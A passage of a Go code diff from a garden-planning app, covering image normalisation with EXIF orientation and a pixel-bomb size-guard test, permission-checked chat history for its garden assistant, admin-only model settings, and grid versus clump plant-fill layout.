// first 2 bytes of the value field. Reject anything else rather than read a
// mistyped entry (a LONG/offset there would be a different number entirely).
if bo.Uint16(tiff[off+2:off+4]) != 3 || bo.Uint32(tiff[off+4:off+8]) != 1 {
return 0, false
}
v := int(bo.Uint16(tiff[off+8 : off+10]))
if v >= 1 && v <= 8 {
return v, true
}
return 0, false
}
return 0, false
}
// downscale returns img shrunk so its longest edge is at most maxDim, preserving
// aspect ratio. An image already within bounds is returned unchanged (no
// re-sampling, no quality loss beyond the JPEG round-trip). Uses Catmull-Rom for
// a sharp result on text, which is what a packet photo is mostly made of.
func downscale(img image.Image, maxDim int) image.Image {
b := img.Bounds()
w, h := b.Dx(), b.Dy()
longest := max(w, h)
if longest <= maxDim || longest == 0 {
return img
}
scale := float64(maxDim) / float64(longest)
nw, nh := max(int(float64(w)*scale), 1), max(int(float64(h)*scale), 1)
dst := image.NewRGBA(image.Rect(0, 0, nw, nh))
draw.CatmullRom.Scale(dst, dst.Bounds(), img, b, draw.Over, nil)
return dst
}
+326
View File
@@ -0,0 +1,326 @@
package imagenorm
import (
"bytes"
"encoding/binary"
"hash/crc32"
"image"
"image/color"
"image/jpeg"
"image/png"
"os"
"testing"
)
// pngBytes and jpegBytes generate in-memory fixtures for the two formats Go can
// encode; heic/webp come from testdata (Go has no encoder for them).
func pngBytes(t *testing.T, w, h int) []byte {
t.Helper()
m := image.NewRGBA(image.Rect(0, 0, w, h))
for y := range h {
for x := range w {
m.Pix[m.PixOffset(x, y)+0] = uint8(x)
m.Pix[m.PixOffset(x, y)+3] = 255
}
}
var b bytes.Buffer
if err := png.Encode(&b, m); err != nil {
t.Fatalf("encode png: %v", err)
}
return b.Bytes()
}
func jpegBytes(t *testing.T, w, h int) []byte {
t.Helper()
m := image.NewRGBA(image.Rect(0, 0, w, h))
var b bytes.Buffer
if err := jpeg.Encode(&b, m, nil); err != nil {
t.Fatalf("encode jpeg: %v", err)
}
return b.Bytes()
}
func readTestdata(t *testing.T, name string) []byte {
t.Helper()
b, err := os.ReadFile("testdata/" + name)
if err != nil {
t.Fatalf("read %s: %v", name, err)
}
return b
}
// TestNormalizeAllFormats is the load-bearing test: every format pansy claims to
// accept must round-trip to a valid JPEG. It exists specifically to catch a
// dropped blank import — the failure mode where the common format (PNG) breaks
// while the exotic one (HEIC) works, because someone deleted `_ "image/png"`.
func TestNormalizeAllFormats(t *testing.T) {
cases := []struct {
name string
input []byte
wantFormat string
}{
{"png", pngBytes(t, 120, 90), "png"},
{"jpeg", jpegBytes(t, 120, 90), "jpeg"},
{"heic", readTestdata(t, "sample.heic"), "heic"},
{"webp", readTestdata(t, "sample.webp"), "webp"},
}
for _, tc := range cases {
t.Run(tc.name, func(t *testing.T) {
out, format, err := Normalize(bytes.NewReader(tc.input), Options{})
if err != nil {
t.Fatalf("Normalize(%s): %v", tc.name, err)
}
if format != tc.wantFormat {
t.Errorf("format = %q, want %q", format, tc.wantFormat)
}
// The output must itself be a decodable JPEG.
_, outFormat, err := image.Decode(bytes.NewReader(out))
if err != nil {
t.Fatalf("output isn't a valid image: %v", err)
}
if outFormat != "jpeg" {
t.Errorf("output format = %q, want jpeg", outFormat)
}
})
}
}
// TestNormalizeDownscales checks a large image is shrunk to fit MaxDim on its
// longest edge with aspect ratio preserved, and a small one is left alone.
func TestNormalizeDownscales(t *testing.T) {
// A 2:1 image twice as wide as DefaultMaxDim → clamped to DefaultMaxDim on the
// long edge with aspect preserved. Derived from the constant, not hard-coded,
// so the test tracks the default rather than silently asserting a magic number.
longEdge := DefaultMaxDim * 2
big := pngBytes(t, longEdge, longEdge/2)
out, _, err := Normalize(bytes.NewReader(big), Options{})
if err != nil {
t.Fatalf("Normalize: %v", err)
}
cfg, _, err := image.DecodeConfig(bytes.NewReader(out))
if err != nil {
t.Fatalf("decode out: %v", err)
}
if cfg.Width != DefaultMaxDim {
t.Errorf("width = %d, want %d (longest edge clamped)", cfg.Width, DefaultMaxDim)
}
if cfg.Height != DefaultMaxDim/2 {
t.Errorf("height = %d, want %d (aspect preserved)", cfg.Height, DefaultMaxDim/2)
}
// A small image within bounds keeps its dimensions.
small := pngBytes(t, 100, 80)
out, _, err = Normalize(bytes.NewReader(small), Options{})
if err != nil {
t.Fatalf("Normalize small: %v", err)
}
cfg, _, err = image.DecodeConfig(bytes.NewReader(out))
if err != nil {
t.Fatalf("decode small out: %v", err)
}
if cfg.Width != 100 || cfg.Height != 80 {
t.Errorf("small image resized to %dx%d, want 100x80", cfg.Width, cfg.Height)
}
}
// TestNormalizeRejectsOversizeInput: an input past the byte cap is ErrTooLarge,
// refused without a full decode.
func TestNormalizeRejectsOversizeInput(t *testing.T) {
big := pngBytes(t, 500, 500)
_, _, err := Normalize(bytes.NewReader(big), Options{MaxBytes: 100})
if err != ErrTooLarge {
t.Errorf("over-cap input err = %v, want ErrTooLarge", err)
}
}
// TestNormalizeRejectsGarbage: unreadable-as-image bytes and a truncated image
// both fail cleanly with ErrUnsupported, not a panic.
func TestNormalizeRejectsGarbage(t *testing.T) {
_, _, err := Normalize(bytes.NewReader([]byte("not an image at all")), Options{})
if err != ErrUnsupported {
t.Errorf("garbage err = %v, want ErrUnsupported", err)
}
// A truncated image (valid header, cut body) also fails cleanly, not a panic.
png := pngBytes(t, 100, 100)
_, _, err = Normalize(bytes.NewReader(png[:len(png)/2]), Options{})
if err != ErrUnsupported {
t.Errorf("truncated image err = %v, want ErrUnsupported", err)
}
}
// pngHeader builds a valid PNG signature + IHDR chunk (with a correct CRC, which
// DecodeConfig verifies) for the given dimensions, and nothing else. It's enough
// for image.DecodeConfig to report width/height without a real bitmap — exactly
// what's needed to exercise the pre-decode size guard with a tiny input.
func pngHeader(w, h uint32) []byte {
var buf bytes.Buffer
buf.Write([]byte{0x89, 'P', 'N', 'G', 0x0d, 0x0a, 0x1a, 0x0a})
ihdr := make([]byte, 13)
binary.BigEndian.PutUint32(ihdr[0:], w)
binary.BigEndian.PutUint32(ihdr[4:], h)
ihdr[8] = 8 // bit depth
ihdr[9] = 6 // colour type: RGBA
// compression/filter/interlace already 0.
binary.Write(&buf, binary.BigEndian, uint32(len(ihdr)))
chunk := append([]byte("IHDR"), ihdr...)
buf.Write(chunk)
binary.Write(&buf, binary.BigEndian, crc32.ChecksumIEEE(chunk))
return buf.Bytes()
}
// TestNormalizeRejectsPixelBomb is the guard the review found untested: a small
// input (a bare ~40-byte PNG header) claiming an enormous canvas is refused with
// ErrTooLarge from DecodeConfig alone, before image.Decode allocates anything.
// Covers both the per-side maxDimension trip and the pixel-count trip — and, via
// the near-2^16-per-side case, that the count math doesn't overflow.
func TestNormalizeRejectsPixelBomb(t *testing.T) {
cases := []struct {
name string
w, h uint32
}{
{"huge single side", 60000, 10}, // > maxDimension on width
{"huge area within side cap", 40000, 40000}, // sides < cap, area 1.6 GP > maxDecodePixels
}
for _, tc := range cases {
t.Run(tc.name, func(t *testing.T) {
hdr := pngHeader(tc.w, tc.h)
if len(hdr) > 100 {
t.Fatalf("header unexpectedly large (%d bytes) — not a bomb test", len(hdr))
}
// Sanity: the header really does decode to those dimensions.
cfg, _, err := image.DecodeConfig(bytes.NewReader(hdr))
if err != nil {
t.Fatalf("crafted PNG header didn't parse: %v", err)
}
if uint32(cfg.Width) != tc.w || uint32(cfg.Height) != tc.h {
t.Fatalf("header reports %dx%d, want %dx%d", cfg.Width, cfg.Height, tc.w, tc.h)
}
if _, _, err := Normalize(bytes.NewReader(hdr), Options{}); err != ErrTooLarge {
t.Errorf("pixel bomb %dx%d err = %v, want ErrTooLarge", tc.w, tc.h, err)
}
})
}
}
// orientedJPEG builds a JPEG whose top-left quadrant is white and the rest black
// — a marker to track through a rotation — tagged with the given EXIF orientation
// (1..8). The marker lets a test assert the pixels actually moved to where that
// orientation says they should.
func orientedJPEG(t *testing.T, orient int) []byte {
t.Helper()
const w, h = 40, 24
m := image.NewRGBA(image.Rect(0, 0, w, h))
for y := range h {
for x := range w {
c := color.RGBA{0, 0, 0, 255}
if x < w/2 && y < h/2 {
c = color.RGBA{255, 255, 255, 255}
}
m.Set(x, y, c)
}
}
var jb bytes.Buffer
if err := jpeg.Encode(&jb, m, &jpeg.Options{Quality: 95}); err != nil {
t.Fatalf("encode jpeg: %v", err)
}
if orient == 0 {
return jb.Bytes() // caller wants a plain JPEG with no EXIF
}
return spliceExifOrientation(t, jb.Bytes(), orient)
}
// spliceExifOrientation inserts a minimal little-endian Exif APP1 segment
// carrying just the Orientation tag right after the JPEG SOI marker.
func spliceExifOrientation(t *testing.T, jpg []byte, orient int) []byte {
t.Helper()
var tiff bytes.Buffer
tiff.WriteString("II") // little-endian
_ = binary.Write(&tiff, binary.LittleEndian, uint16(0x2A))
_ = binary.Write(&tiff, binary.LittleEndian, uint32(8)) // IFD0 offset
_ = binary.Write(&tiff, binary.LittleEndian, uint16(1)) // one entry
_ = binary.Write(&tiff, binary.LittleEndian, uint16(0x0112))
_ = binary.Write(&tiff, binary.LittleEndian, uint16(3)) // SHORT
_ = binary.Write(&tiff, binary.LittleEndian, uint32(1)) // count
_ = binary.Write(&tiff, binary.LittleEndian, uint16(orient)) // value
_ = binary.Write(&tiff, binary.LittleEndian, uint16(0)) // value pad
_ = binary.Write(&tiff, binary.LittleEndian, uint32(0)) // next IFD
payload := append([]byte("Exif\x00\x00"), tiff.Bytes()...)
segLen := len(payload) + 2
seg := []byte{0xFF, 0xE1, byte(segLen >> 8), byte(segLen)}
seg = append(seg, payload...)
out := make([]byte, 0, len(jpg)+len(seg))
out = append(out, jpg[:2]...) // SOI
out = append(out, seg...)
return append(out, jpg[2:]...)
}
func bright(c color.Color) bool {
r, g, b, _ := c.RGBA() // 16-bit
return (r+g+b)/3 > 0x8000
}
// TestNormalizeAppliesExifOrientation is the #103 regression: a phone photo tagged
// "rotate 90°" must come out of Normalize with the pixels upright, not sideways —
// the re-encode strips EXIF, so the rotation has to be baked into the bitmap.
func TestNormalizeAppliesExifOrientation(t *testing.T) {
// The white marker starts centred at (10,6) in the 40x24 source. For each
// orientation, wantW/H is the corrected canvas and (mx,my) is where that
// marker must land — derived from the same transform Normalize applies.
cases := []struct {
name string
orient int
wantW, wantH int
mx, my int
}{
{"none", 0, 40, 24, 10, 6}, // no EXIF → unchanged, marker top-left
{"normal", 1, 40, 24, 10, 6}, // normal → unchanged
{"mirror-h", 2, 40, 24, 29, 6}, // flip horizontal → top-right
{"rotate-180", 3, 40, 24, 29, 17}, // → bottom-right
{"mirror-v", 4, 40, 24, 10, 17}, // flip vertical → bottom-left
{"transpose", 5, 24, 40, 6, 10}, // main diagonal (dims swap)
{"rotate-90-cw", 6, 24, 40, 17, 10}, // → top-right (dims swap)
{"transverse", 7, 24, 40, 17, 29}, // anti-diagonal (dims swap)
{"rotate-90-ccw", 8, 24, 40, 6, 29}, // → bottom-left (dims swap)
}
for _, tc := range cases {
t.Run(tc.name, func(t *testing.T) {
out, format, err := Normalize(bytes.NewReader(orientedJPEG(t, tc.orient)), Options{})
if err != nil {
t.Fatalf("Normalize err = %v", err)
}
if format != "jpeg" {
t.Errorf("format = %q, want jpeg", format)
}
m, _, err := image.Decode(bytes.NewReader(out))
if err != nil {
t.Fatalf("decode output: %v", err)
}
if m.Bounds().Dx() != tc.wantW || m.Bounds().Dy() != tc.wantH {
t.Errorf("output %dx%d, want %dx%d",
m.Bounds().Dx(), m.Bounds().Dy(), tc.wantW, tc.wantH)
}
if !bright(m.At(m.Bounds().Min.X+tc.mx, m.Bounds().Min.Y+tc.my)) {
t.Errorf("white marker not at (%d,%d) — orientation not applied", tc.mx, tc.my)
}
})
}
}
// TestExifOrientationParsing pins the parser against non-JPEG and no-EXIF inputs,
// which must default to 1 (never guess a rotation onto a correct image).
func TestExifOrientationParsing(t *testing.T) {
if o := exifOrientation(pngBytes(t, 8, 8)); o != 1 {
t.Errorf("PNG orientation = %d, want 1 (no JPEG EXIF path)", o)
}
if o := exifOrientation(orientedJPEG(t, 0)); o != 1 {
t.Errorf("JPEG without EXIF orientation = %d, want 1", o)
}
if o := exifOrientation(orientedJPEG(t, 6)); o != 6 {
t.Errorf("JPEG tagged 6 → %d, want 6", o)
}
if o := exifOrientation([]byte("not an image")); o != 1 {
t.Errorf("garbage bytes → %d, want 1", o)
}
}
+14
View File
@@ -0,0 +1,14 @@
# imagenorm test fixtures
Go has no encoder for HEIC or WebP, so these small samples are committed rather
than generated at test time. They are used by `TestNormalizeAllFormats` to prove
every accepted format round-trips to JPEG (and, mainly, to catch a dropped blank
import — see the package doc).
- `sample.heic` — a 240×160 gradient, created from a Go-generated PNG with macOS
`sips -s format heic`. HEVC still-image profile.
- `sample.webp` — a 16×16 image copied from CPython's stdlib test corpus
(`Lib/test/test_email/data/python.webp`), verified to decode with
`golang.org/x/image/webp` before committing. Used only as a decode fixture.
Neither contains anything meaningful; they exist purely to be decoded.
Binary file not shown.
Binary file not shown.

After

Width:  |  Height:  |  Size: 432 B

+62
View File
@@ -0,0 +1,62 @@
package service
import (
"context"
"gitea.stevedudenhoeffer.com/steve/pansy/internal/domain"
)
// Chat persistence for the garden assistant (#56). The run loop itself lives in
// internal/agent; this is the part that needs pansy's permission checks.
// maxRetainedTurns caps how much of a thread is kept in context. Retained turns
// are a working memory, not an archive — a season of chat replayed into every
// prompt would cost more than it informs.
const maxRetainedTurns = 20
// AgentHistory returns the recent messages of the actor's own thread for a
// garden they can edit, oldest first.
//
// Requires EDITOR, not viewer: the assistant acts, so being able to talk to it
// about a garden is the same permission as being able to change it. A viewer
// asking it to plant something would get a refusal from every tool anyway, and
// offering the conversation would be offering something that cannot work.
func (s *Service) AgentHistory(ctx context.Context, actorID, gardenID int64) ([]domain.AgentMessage, error) {
if _, err := s.requireGardenRole(ctx, actorID, gardenID, roleEditor); err != nil {
return nil, err
}
conv, err := s.store.EnsureConversation(ctx, gardenID, actorID)
if err != nil {
return nil, err
}
return s.store.ListAgentMessages(ctx, conv, maxRetainedTurns*2)
}
// RecordAgentExchange stores one user message and the assistant's reply, and
// returns the reply row. Called by the runtime after a turn completes.
func (s *Service) RecordAgentExchange(ctx context.Context, actorID, gardenID int64, userMessage, reply string, changeSetID *int64) (*domain.AgentMessage, error) {
if _, err := s.requireGardenRole(ctx, actorID, gardenID, roleEditor); err != nil {
return nil, err
}
conv, err := s.store.EnsureConversation(ctx, gardenID, actorID)
if err != nil {
return nil, err
}
if _, err := s.store.AppendAgentMessage(ctx, &domain.AgentMessage{
ConversationID: conv, Role: domain.AgentRoleUser, Body: userMessage,
}); err != nil {
return nil, err
}
return s.store.AppendAgentMessage(ctx, &domain.AgentMessage{
ConversationID: conv, Role: domain.AgentRoleAssistant, Body: reply, ChangeSetID: changeSetID,
})
}
// ClearAgentHistory drops the actor's thread for a garden — the "start over"
// escape hatch when a conversation has gone somewhere unhelpful.
func (s *Service) ClearAgentHistory(ctx context.Context, actorID, gardenID int64) error {
if _, err := s.requireGardenRole(ctx, actorID, gardenID, roleEditor); err != nil {
return err
}
return s.store.DeleteConversation(ctx, gardenID, actorID)
}
+168
View File
@@ -0,0 +1,168 @@
package service
import (
"context"
"strings"
"gitea.stevedudenhoeffer.com/steve/pansy/internal/agentmodel"
"gitea.stevedudenhoeffer.com/steve/pansy/internal/domain"
)
// Instance settings (#79): admin-editable, instance-wide configuration. The
// admin gate lives HERE, in the seam, not in the handler — the same rule every
// other permission follows. The API's requireAdmin middleware is a cheap early
// 403, not the authority.
// requireAdmin returns nil iff the actor is an admin, else ErrForbidden.
//
// ErrForbidden, not ErrNotFound: settings are not a resource whose existence is
// masked. A logged-in non-admin knows the instance has settings; they simply may
// not touch them. (Contrast objects/lots, where no-access masks existence.)
func (s *Service) requireAdmin(ctx context.Context, actorID int64) error {
u, err := s.store.GetUserByID(ctx, actorID)
if err != nil {
return err
}
if !u.IsAdmin {
return domain.ErrForbidden
}
return nil
}
// GetInstanceSettings returns the instance settings for an admin.
func (s *Service) GetInstanceSettings(ctx context.Context, actorID int64) (*domain.InstanceSettings, error) {
if err := s.requireAdmin(ctx, actorID); err != nil {
return nil, err
}
return s.store.GetInstanceSettings(ctx)
}
// InstanceSettingsPatch is a full replacement of the editable fields plus the
// current version. Both agent fields carry their "inherit" sentinel: an empty
// AgentModel means fall back to env, a nil AgentEnabled means inherit.
type InstanceSettingsPatch struct {
AgentModel string
AgentEnabled *bool
VisionModel string
Version int64
}
// UpdateInstanceSettings applies an admin's change, version-guarded. It returns
// (current row, ErrVersionConflict) on a stale version, like every mutable
// resource. The model spec is validated before it is stored, so a typo is a 400
// now rather than a broken assistant on the next turn.
//
// It does NOT rebuild the running agent — that is the API layer's job, because
// the live Runner lives there. The caller rebuilds on success.
func (s *Service) UpdateInstanceSettings(ctx context.Context, actorID int64, patch InstanceSettingsPatch) (*domain.InstanceSettings, error) {
if err := s.requireAdmin(ctx, actorID); err != nil {
return nil, err
}
model := strings.TrimSpace(patch.AgentModel)
vision := strings.TrimSpace(patch.VisionModel)
// Validate non-empty specs up front. An empty one is the "inherit env"
// sentinel and needs no check — the env value was validated at boot.
for _, spec := range []string{model, vision} {
if spec != "" {
if err := agentmodel.Validate(s.cfg.Agent.OllamaCloudAPIKey, spec); err != nil {
return nil, domain.ErrInvalidInput
}
}
}
return s.store.UpdateInstanceSettings(ctx, &domain.InstanceSettings{
AgentModel: model,
AgentEnabled: patch.AgentEnabled,
VisionModel: vision,
Version: patch.Version,
})
}
// EffectiveAgent resolves the agent configuration actually in force: DB settings
// override the environment, and the API key always comes from the environment.
//
// This is internal plumbing (the API layer calls it to build the Runner), NOT an
// admin-gated operation — resolving what's configured is not the same as editing
// it, and the agent bootstrap must work before any user is even authenticated.
type EffectiveAgent struct {
Model string
Enabled bool
APIKey string
}
// Ready mirrors config.AgentConfig.Ready: enabled, with a key and a model.
func (e EffectiveAgent) Ready() bool {
return e.Enabled && e.APIKey != "" && e.Model != ""
}
// EffectiveAgent reads the settings row and layers it over the environment.
func (s *Service) EffectiveAgent(ctx context.Context) (EffectiveAgent, error) {
st, err := s.store.GetInstanceSettings(ctx)
if err != nil {
return EffectiveAgent{}, err
}
return s.agentOver(st), nil
}
// agentOver layers a settings row over the env-derived agent defaults. Split out
// so EffectiveConfig can resolve agent AND vision from a single row read instead
// of fetching the same one-row table twice.
func (s *Service) agentOver(st *domain.InstanceSettings) EffectiveAgent {
eff := EffectiveAgent{
Model: s.cfg.Agent.Model,
Enabled: s.cfg.Agent.Enabled,
APIKey: s.cfg.Agent.OllamaCloudAPIKey,
}
if st.AgentModel != "" {
eff.Model = st.AgentModel
}
if st.AgentEnabled != nil {
eff.Enabled = *st.AgentEnabled
}
return eff
}
// EffectiveVision resolves the vision configuration in force for seed-packet
// capture (#81): the model from DB-over-env, the key always from env.
type EffectiveVision struct {
Model string
APIKey string
}
// Ready reports whether packet capture can be offered: a key and a vision model.
// There's no separate enabled flag — configuring a vision model IS enabling it.
func (e EffectiveVision) Ready() bool {
return e.APIKey != "" && e.Model != ""
}
// EffectiveVision reads the settings row and layers it over the environment.
func (s *Service) EffectiveVision(ctx context.Context) (EffectiveVision, error) {
st, err := s.store.GetInstanceSettings(ctx)
if err != nil {
return EffectiveVision{}, err
}
return s.visionOver(st), nil
}
// visionOver layers a settings row over the env-derived vision defaults. See
// agentOver for why this is split from EffectiveVision.
func (s *Service) visionOver(st *domain.InstanceSettings) EffectiveVision {
eff := EffectiveVision{
Model: s.cfg.Agent.VisionModel,
APIKey: s.cfg.Agent.OllamaCloudAPIKey,
}
if st.VisionModel != "" {
eff.Model = st.VisionModel
}
return eff
}
// EffectiveConfig resolves the agent AND vision configuration from ONE settings
// read, for callers (the settings view) that need both — the single-row table
// would otherwise be fetched twice for one response.
func (s *Service) EffectiveConfig(ctx context.Context) (EffectiveAgent, EffectiveVision, error) {
st, err := s.store.GetInstanceSettings(ctx)
if err != nil {
return EffectiveAgent{}, EffectiveVision{}, err
}
return s.agentOver(st), s.visionOver(st), nil
}
+117
View File
@@ -0,0 +1,117 @@
package service
import (
"context"
"errors"
"testing"
"gitea.stevedudenhoeffer.com/steve/pansy/internal/config"
"gitea.stevedudenhoeffer.com/steve/pansy/internal/domain"
)
// settingsTestService builds a service whose env config carries the given agent
// model/enabled/key, so EffectiveAgent's env fallback can be exercised.
func settingsTestService(t *testing.T, envModel string, envEnabled bool, key string) (*Service, int64) {
t.Helper()
cfg := openConfig()
cfg.Agent = config.AgentConfig{Model: envModel, Enabled: envEnabled, OllamaCloudAPIKey: key}
s := newTestService(t, cfg)
admin := seedUser(t, s, "[email protected]") // first user is admin
return s, admin
}
// TestRequireAdmin: the first user is admin; a second is not and gets
// ErrForbidden (not ErrNotFound — settings existence isn't masked).
func TestRequireAdmin(t *testing.T) {
s, admin := settingsTestService(t, "ollama-cloud/x", true, "k")
member := seedUser(t, s, "[email protected]")
if err := s.requireAdmin(context.Background(), admin); err != nil {
t.Errorf("admin rejected: %v", err)
}
if err := s.requireAdmin(context.Background(), member); !errors.Is(err, domain.ErrForbidden) {
t.Errorf("member requireAdmin = %v, want ErrForbidden", err)
}
}
// TestEffectiveAgentLayering: DB settings override env; the API key always comes
// from env; the "inherit" sentinels fall back.
func TestEffectiveAgentLayering(t *testing.T) {
ctx := context.Background()
s, admin := settingsTestService(t, "ollama-cloud/env-model", true, "envkey")
// Untouched: everything inherits env.
eff, err := s.EffectiveAgent(ctx)
if err != nil {
t.Fatalf("effective: %v", err)
}
if eff.Model != "ollama-cloud/env-model" || !eff.Enabled || eff.APIKey != "envkey" {
t.Errorf("inherited effective = %+v, want the env values", eff)
}
// Override the model only; enabled still inherits env (true).
cur, _ := s.GetInstanceSettings(ctx, admin)
if _, err := s.UpdateInstanceSettings(ctx, admin, InstanceSettingsPatch{
AgentModel: "ollama-cloud/glm-5.2:cloud", Version: cur.Version,
}); err != nil {
t.Fatalf("update model: %v", err)
}
eff, _ = s.EffectiveAgent(ctx)
if eff.Model != "ollama-cloud/glm-5.2:cloud" {
t.Errorf("model = %q, want the DB override", eff.Model)
}
if !eff.Enabled {
t.Error("enabled should still inherit env (true) when unset")
}
// Now override enabled to false explicitly.
cur, _ = s.GetInstanceSettings(ctx, admin)
no := false
if _, err := s.UpdateInstanceSettings(ctx, admin, InstanceSettingsPatch{
AgentModel: "ollama-cloud/glm-5.2:cloud", AgentEnabled: &no, Version: cur.Version,
}); err != nil {
t.Fatalf("update enabled: %v", err)
}
eff, _ = s.EffectiveAgent(ctx)
if eff.Enabled {
t.Error("enabled should be the explicit false override now")
}
if eff.Ready() {
t.Error("Ready() should be false when disabled")
}
}
// TestUpdateInstanceSettingsRejectsBadModel: a spec that won't resolve is
// ErrInvalidInput, before it is stored.
func TestUpdateInstanceSettingsRejectsBadModel(t *testing.T) {
ctx := context.Background()
s, admin := settingsTestService(t, "ollama-cloud/x", true, "k")
cur, _ := s.GetInstanceSettings(ctx, admin)
if _, err := s.UpdateInstanceSettings(ctx, admin, InstanceSettingsPatch{
AgentModel: "nonesuch/model", Version: cur.Version,
}); !errors.Is(err, domain.ErrInvalidInput) {
t.Errorf("bad model = %v, want ErrInvalidInput", err)
}
// The rejected write didn't touch the row.
after, _ := s.GetInstanceSettings(ctx, admin)
if after.Version != cur.Version || after.AgentModel != "" {
t.Errorf("a rejected update changed the row: %+v", after)
}
}
// TestInstanceSettingsAdminGate: the read/write operations are admin-gated at the
// service seam, not just in the handler.
func TestInstanceSettingsAdminGate(t *testing.T) {
ctx := context.Background()
s, _ := settingsTestService(t, "ollama-cloud/x", true, "k")
member := seedUser(t, s, "[email protected]")
if _, err := s.GetInstanceSettings(ctx, member); !errors.Is(err, domain.ErrForbidden) {
t.Errorf("member GetInstanceSettings = %v, want ErrForbidden", err)
}
if _, err := s.UpdateInstanceSettings(ctx, member, InstanceSettingsPatch{Version: 1}); !errors.Is(err, domain.ErrForbidden) {
t.Errorf("member UpdateInstanceSettings = %v, want ErrForbidden", err)
}
}
+9
View File
@@ -84,6 +84,15 @@ func (s *Service) ListJournal(ctx context.Context, actorID, gardenID int64, q Jo
return entries, false, nil
}
// JournalCounts returns how many entries a garden holds per object (key 0 for
// entries about the garden itself), for an actor who can at least view it.
func (s *Service) JournalCounts(ctx context.Context, actorID, gardenID int64) (map[int64]int, error) {
if _, err := s.requireGardenRole(ctx, actorID, gardenID, roleViewer); err != nil {
return nil, err
}
return s.store.JournalCounts(ctx, gardenID)
}
// CreateJournalEntry writes an entry against a garden the actor can edit.
//
// An entry may target the garden, one of its beds, or one plop in it — and the
+215 -44
View File
@@ -28,13 +28,9 @@ type Region struct {
MinX, MinY, MaxX, MaxY float64
}
// contains reports whether a local point lies in the region.
func (r Region) contains(x, y float64) bool {
return x >= r.MinX && x <= r.MaxX && y >= r.MinY && y <= r.MaxY
}
// clampTo intersects the region with an object's local bounds (±halfW, ±halfH),
// so an oversized caller-supplied region can't make hexCenters loop forever.
// so a fill can't plant outside the object it was aimed at. A region that misses
// the object entirely comes back empty — see empty().
func (r Region) clampTo(halfW, halfH float64) Region {
return Region{
MinX: math.Max(r.MinX, -halfW), MinY: math.Max(r.MinY, -halfH),
@@ -42,6 +38,16 @@ func (r Region) clampTo(halfW, halfH float64) Region {
}
}
// empty reports whether the region encloses nothing.
//
// This exists because clampTo expresses "no overlap" by INVERTING the region —
// Max clamps below Min — rather than by zeroing it, which is not something a
// reader guesses. Naming it once here beats a bare `MaxX < MinX` at each place
// that has to care.
func (r Region) empty() bool {
return r.MaxX < r.MinX || r.MaxY < r.MinY
}
// rect builds a rectangular region.
func rect(minX, minY, maxX, maxY float64) Region {
return Region{MinX: minX, MinY: minY, MaxX: maxX, MaxY: maxY}
@@ -91,28 +97,106 @@ func defaultPlopRadius(spacingCM float64) float64 {
return math.Max(1.5*spacingCM, 15)
}
// FillRegion lays a hex-packed field of plops of one plant across a region of a
// plantable object the actor can edit. Plop radius comes from the plant's spacing
// (or spacingOverride) via defaultPlopRadius; centers sit on a hex lattice at 2×
// radius pitch, kept where the center is inside the region. A candidate is
// skipped when its plop would sit entirely inside an existing active plop (so
// re-filling doesn't stack duplicates). Returns the plops it created.
func (s *Service) FillRegion(ctx context.Context, actorID, objectID int64, region Region, plantID int64, spacingOverride *float64) ([]domain.Planting, error) {
// FillLayout selects what a fill packs (#77).
//
// A plop is a CLUMP, not a plant, and that abstraction is the right primitive for
// SKETCHING — "a few plops of garlic in one corner" — but it can't draw a real
// planting: a filled 4×8ft bed comes out as ~15 blobs, not 8 rows of garlic. So
// filling is now two operations. FillClump (the default, unchanged) drops fat
// clumps for quick coverage; FillGrid lays out individual plants at true spacing,
// producing a layout you could actually plant from.
type FillLayout string
const (
// FillClump packs fat clumps (radius 1.5×spacing). Each plop is ~7 plants.
FillClump FillLayout = "clump"
// FillGrid packs one plant per plop at true spacing (radius spacing/2, pitch
// = spacing). A bed becomes rows of individual plants.
FillGrid FillLayout = "grid"
)
// plopRadiusFor is the plop radius a fill uses, given the plant's spacing and the
// layout. Grid mode is a plain spacing/2 (so the pitch is one spacing and each
// plop's derived count is 1); clump mode keeps the 15cm floor that stops a
// tiny-spacing plant from making invisibly small clumps — a floor grid mode
// doesn't want, since its whole point is true spacing.
func plopRadiusFor(spacingCM float64, layout FillLayout) float64 {
if layout == FillGrid {
return spacingCM / 2
}
return defaultPlopRadius(spacingCM)
}
// edgeInset is how far a plop's CENTRE must stay inside the region edge. It
// differs by layout because the half-spacing rule is about where the PLANT lands,
// and the plant sits in a different place within the plop.
//
// Spacing is a constraint between neighbouring plants competing for the same soil,
// light and water; a bed edge is nobody's neighbour, so the outer plant owes it
// only HALF the spacing — the half it would otherwise share. That is the
// square-foot-chart arithmetic: garlic at 9-per-square sits 2" from the frame, not
// 6".
//
// - Grid: one plant, at the plop's centre. Put that centre a half-spacing in and
// the outer row lands exactly where the rule wants it — inset = spacing/2.
// - Clump: a fat plop (radius 1.5×spacing) whose plants fill out to its RIM.
// Insetting the whole circle would push the outer row a full 1.5 spacings in,
// three times the rule. Instead the clump may hang over by a half-spacing (rim
// at spacing/2 past the edge), landing its outermost plants that same
// half-spacing in — inset = radius spacing/2. A grid plop reusing THAT
// formula would inset by radius spacing/2 = 0 and plant flush on the edge,
// which is the bug this split fixes.
func edgeInset(radius, spacing float64, layout FillLayout) float64 {
half := math.Max(0, spacing) / 2
if layout == FillGrid {
return half
}
return math.Max(0, radius-half)
}
// validFillLayout normalizes a layout: empty defaults to clump (so existing
// callers are unchanged), a known value passes, anything else is rejected.
func validFillLayout(l FillLayout) (FillLayout, bool) {
switch l {
case "", FillClump:
return FillClump, true
case FillGrid:
return FillGrid, true
default:
return "", false
}
}
// FillRegion lays a field of plops of one plant across a region of a plantable
// object the actor can edit. The layout picks the primitive: FillClump drops fat
// clumps for quick sketching, FillGrid lays out individual plants at true spacing
// (see FillLayout). Plop radius comes from the plant's spacing (or spacingOverride)
// via plopRadiusFor; centers sit on a centered hex lattice at 2×radius pitch, set
// in from each edge by edgeInset — a half-spacing for grid, radius-less-a-half-
// spacing for a clump (see edgeInset for the why). A candidate is skipped when its
// plop would sit entirely inside an existing active plop (so re-filling doesn't
// stack duplicates). Returns the plops it created.
func (s *Service) FillRegion(ctx context.Context, actorID, objectID int64, region Region, plantID int64, spacingOverride *float64, layout FillLayout) ([]domain.Planting, error) {
o, _, err := s.objectForRole(ctx, actorID, objectID, roleEditor)
if err != nil {
return nil, err
}
return s.fillLoaded(ctx, actorID, o, region, plantID, spacingOverride)
return s.fillLoaded(ctx, actorID, o, region, plantID, spacingOverride, layout)
}
// fillLoaded is the shared body of FillRegion/FillNamedRegion given an object
// already loaded and authorized (roleEditor). It clamps the region to the
// object's bounds, refuses fills over maxFillPlops, and inserts the whole batch
